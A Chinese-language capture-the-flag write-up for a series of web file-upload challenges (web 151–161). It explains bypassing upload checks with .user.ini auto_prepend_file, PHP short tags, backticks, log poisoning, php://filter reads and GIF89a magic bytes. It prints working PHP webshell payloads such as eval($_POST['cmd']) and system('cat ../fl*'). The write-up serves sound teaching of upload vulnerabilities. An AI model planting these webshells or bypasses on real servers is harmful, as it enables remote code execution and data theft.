文章目录
- 文件上传思路
- web 151
- web 152
- web 153
- 知识点
- 解题
- web 154
- web 155
- web 156
- web 157
- web 158
- web 159
- web160
- web 161
文件上传思路
web 151
打开页面显示:前台校验不可靠。说明这题是前端验证。
右键查看源代码,找到与上传点有关的前端代码:
这里使用了一个叫Layui
的组件库,url代表上传接口,accept代表允许上传的文件类型,exts代表允许上传的文件后缀。可见这里前端只允许上传图片类型的文件,且文件后缀名为png。
绕过前端验证的最简单方法就是,上传一个png的webshell,再使用burp抓包更改文件后缀名,再访问上传的webshell。
可见,上传成功~,下一步就是写一个shell<?php @eval($_POST['cmd']);?>
,用webshell连接工具蚁剑去连接上传的webshell。
这里我们详细分析一句话木马,不借助工具获取flag。
- php代码要写在
<?php ?>
中,php解析器才会认出这是php代码; @
符号的意思是不报错,即使执行错误,也不报错;eval()
:把字符串当做PHP代码执行;$_POST['cmd']
接收POST传参,传参的变量名叫cmd
。除了POST传参,还有GET传参
$_GET['cmd']
、全局的传参方法$_REQUEST['cmd']
(不管是GET传参 or POST传参 or FIlE传参 or COOKIE传参)。- php执行系统命令的函数有
system()
、exec()
、shell_exec()
、反撇号。php执行外部命令
web 152
跟前一题一样的
web 153
知识点
自PHP 5.3.0起,PHP支持基于每个目录的INI文件配置,此类文件仅被CGI/Fast SAPI处理。如果PHP以模块化的方式运行在Apache里,则.htaccess
文件有同样效果。除了主php.ini
之外,php还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’]所指定)。如果被执行的php文件在web根目录之外,则只扫描该目录。
配置选项是有权限的。
php.ini
是主要的配置文件,.user.ini
是用户自定义的配置文件且能覆盖php.ini
的内容,php解析器在解析php文件时会扫描.user.ini
的配置。
在.user.ini
风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 和PHP_INI_ALL模式的 INI 设置可被识别。用人话说就是除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。两个重要的配置选项:
auto_append_file=filename //相当于在每个php文件尾加上 include(“filename”)
auto_prepend_file=filename //相当于文件头加上 include(“filename”)
利用.user,ini
的方法:保证三个文件(.user.ini
、shell.png
、xx.php
)在同一目录下,再执行该目录下的php文件。例如:
//.user.iniauto_prepend_file=1.png//1.png<?php phpinfo();?>//1.php(任意php文件)
三个文件在一个目录下,就相当于1.php文件开头插入了
include('1.png');
进行文件包含,因为1.png中有php代码,所以经过include之后会执行shell脚本。
解题
此题前后端都检测content-type
值,只允许上传PNG文件。
上传.user.ini
文件,内容为auto_prepend_file=shell.png
上传shell.png文件
从之前可以得知,upload
文件夹下有一个index.php的文件,故访问../upload/index.php?cmd=phpinfo();
,可以看到phpinfo的页面。
web 154
知识点:过滤<?php
绕过方法:使用短标签进行绕过(没有限制条件)。如:
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>
此题过滤了
php
这一关键词。使用短标签进行绕过。
pyload:
<?=@eval($_GET['cmd']);?>
web 155
同web 154
web 156
知识点:过滤php
、[]
关键字
绕过方法:
php
关键字被过滤,使用php短标签进行绕过;[]
被过滤,使用{}
进行替换。例如:<?php @eval($_GET['cmd']);?> == <?php @eval($_GET{cmd});?>
payload:
<?=system('cat ../fl*')?>
web 157
在前面的基础上,过滤了{
、;
,而且文件内容不能有php字符串。
绕过方法:
- 过滤
;
,则在短标签里,可以省略;
。例如:
<?php @eval($_GET{cmd});?> == <?php @eval($_GET{cmd})?>
- 过滤
{
,那就不用eval函数接受参数,再执行系统命令,直接用system()
函数执行系统命令。如<?=system(
ls)?>
-cat ../flag.php
==cat ../fl*
payload:
<?=system('cat ../fl*')?>
web 158
同web157
web 159
在前面的基础上,过滤了(
。绕过方法:直接用反撇号
执行系统命令,反撇号就相当于shell_exec()
函数。payload:
<?=`cat ../fl*`?>
web160
在前面的基础上,过滤了反撇号。绕过方法:
-
第一种方法:利用日志包含绕过。就是说有些中间件会将用户访问记录记在日志里,如果将webshell写到日志里,再包含日志,不就可以getshell了吗?操作:
-
同样先上传
.user.ini
文件,内容为auto_prepend_file=shell.png
;
-
上传shell.png文件,文件内容为
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
(log关键词被过滤),且将shell写在UA头中。
- ngnix的日志路径为
/var/log/nginx/access.log
; - php中,可以用
.
进行字符串的拼接;
- 访问
xxx/upload/index.php
.
-
-
第二种方法:因为已经知道flag的位置,通过php伪协议进行文件读取。
- 同样先上传
.user.ini
文件,内容为auto_prepend_file=shell.png
; - 上传shell.png,文件内容为
<?=include"ph"."p://filter/covert.base64-encode/resource=../flag.ph"."p"?>
- 访问
xxx/upload/index.php
,再使用base64进行解码即可。
- 同样先上传
web 161
这关在前面的基础上,还进行文件内容检测(主要是使用getimagesize()
函数进行检测),服务端主要检测文件幻数。其实就是检测文件内容开始的地方,不同后缀名的文件,文件起始的地方是不一样的。
这关很恶心嗷,前端验证只能为png文件,后端检测文件内容必须是gif。
绕过方法:制作图片马,更简单的就是用burp抓包,将你的shell写在文件内容里。
- 先上传
.user.ini
文件,内容为auto_prepend_file=shell.png
(需要加gif文件的文件幻数GIF89a
);
- 上传shell.png,文件内容为
<?=include"ph"."p://filter/covert.base64-encode/resource=../flag.ph"."p"?>
,同样要加文件幻数GIF89a。
- 访问
../upload/index.php
,使用base64进行解码。